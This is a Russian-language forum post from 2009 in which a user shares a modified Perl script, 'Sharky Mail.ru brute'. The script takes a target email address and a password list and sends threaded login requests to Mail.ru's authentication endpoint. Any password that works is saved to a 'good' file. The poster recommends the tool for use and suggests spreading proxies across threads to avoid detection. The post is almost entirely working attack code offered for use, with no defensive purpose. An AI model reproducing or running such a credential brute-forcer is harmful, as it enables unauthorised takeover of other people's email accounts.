Показать сообщение отдельно

  #19  
Старый 16.04.2009, 05:00
ghostwizard
Участник форума
Регистрация: 04.12.2005
Сообщений: 202
С нами: 10754840

Репутация: 99
По умолчанию

Модифицированная версия.
Изменено:
1. Нет ошибки неправильного завершения нити.
2. Вместо процентов теперь плюсики в одну строку. Количество их можно изменить.

Пользуйтесь. Неплохой брут. Как раз узнал про реальное использование нитей в перле.

З.Ы. Форматирование кода ужасное в ачат-редакторе =Q

Есть вариант добавить прокси-поддержку распределенную по нитям. Т.е для каждой нити свой прокси или рандомный по списку, сколько фантазии хватит

Код:
#!/usr/bin/perl -w    

use strict;    
use IO::Socket;  
use threads qw(stringify); 
use threads::shared;  
use POSIX;  ########################################################    
my @acc : shared;  
my $i : shared;  
my $total : shared;  
my $k : shared; 
$| = 1; 
print "
######################################################################  
###                 Sharky Mail.ru brute                           ###  
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads]     ###
### edited by gh0stwizard                                         ###  
######################################################################  
";
########################################################  
my $email = shift;   
my $pass =  shift;  
my $good =  shift;   
my $threads = shift;   
my $timeout = '5';            #Таймаут  
my $hostname = "swa.mail.ru";    
my $port     = '80';  
my ( $mail, $server ) = split( /@/, $email );     
my $nn = "\r\n";  
my $maxplus = 62;     #Количество выводимых плюсов  
########################################################  
my ($passw, $percent);    
########################################################    
print "[+] Loading passwords... \n";   
open( ACS, "<$pass" );   
@acc  = &acc();    
my $size = scalar @acc;    
print "[+] Loaded $size passwords \n";  
print "[+] Start Brute\n\n[";    

my (@trl);    
&threads();  

sub threads {      
 for ( 0 .. $threads )  {          
  $trl[$_] = threads->create( {'void' => 1}, \&check, $_ );          
  $trl[$_]->join();      
  }      
 print "\n[*] Bruteforce has been completed.\n";  
}   

sub check {        
  while (@acc) {            
     { lock(@acc); $passw = shift @acc; }
     my $sock = new IO::Socket::INET(
                PeerAddr  => $hostname,
                PeerPort  => $port, 
                PeerProto => 'tcp',
                TimeOut   => $timeout
            );
            if ( !$sock ) { 
               { lock($i); $i++; }
            }
            else {
                my $data =
                  "action1=Login&Login=$mail&Domain=$server&Password=$passw";
                my $re =
                   "POST /cgi-bin/auth HTTP/1.0"
                   . $nn
                   . "Host: swa.mail.ru"
                   . $nn
                   . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
                  . $nn
                  . "Content-type: application/x-www-form-urlencoded"
                  . $nn
                  . "Cache-Control: no-cache"
                  . $nn
                  . "Content-length: "
                  . length($data)
                  . $nn
                  . "Connection: Keep-Alive"
                  . $nn
                  . $nn;
                print $sock $re;
                print $sock $data;
                sysread( $sock, my $answ, 666 );
                close $sock;
                  if ( $answ =~ /Location/ ) {
                    { lock($total); $total++; } 
                   print "]\n[*] $email:$passw - [OK]";
                    open( FILE, ">>$good" );
                    print FILE "$email:$passw\n";
                    close(FILE);
                  print "\n[*] Bruteforce has been completed.\n";
                  exit;
               }
                  { lock($i); $i++; }
          }
          $percent = sprintf("%.6f", ( $i / $size )) * $maxplus;
          my $sh = sprintf("%.6f", (1 / $size)) * $maxplus;
          my $zer = sprintf("%.6f", (1 / $size));
                   if (($percent == $sh) or ($percent == $zer)) {
              print "+"; $k++;
           }
          elsif ( (floor($percent) - 1) == $k ) {
              print "+"; $k++;
          }
          elsif ((floor($percent) -$k) >=2 and ($maxplus>20)) {
              my $def = (floor($percent)) - $k;
              $k += $def;
              print "+"x$def;
          }
          if ($percent == $maxplus) { print "] 100%\r"; }
      }
}

sub acc {
        my (@mas);
        while (<ACS>) {
          push @mas, $_;
        }
        chomp @mas;
        return @mas;
    }
#with love by Sharky

Последний раз редактировалось ghostwizard; 16.04.2009 в 05:03..
 
Ответить с цитированием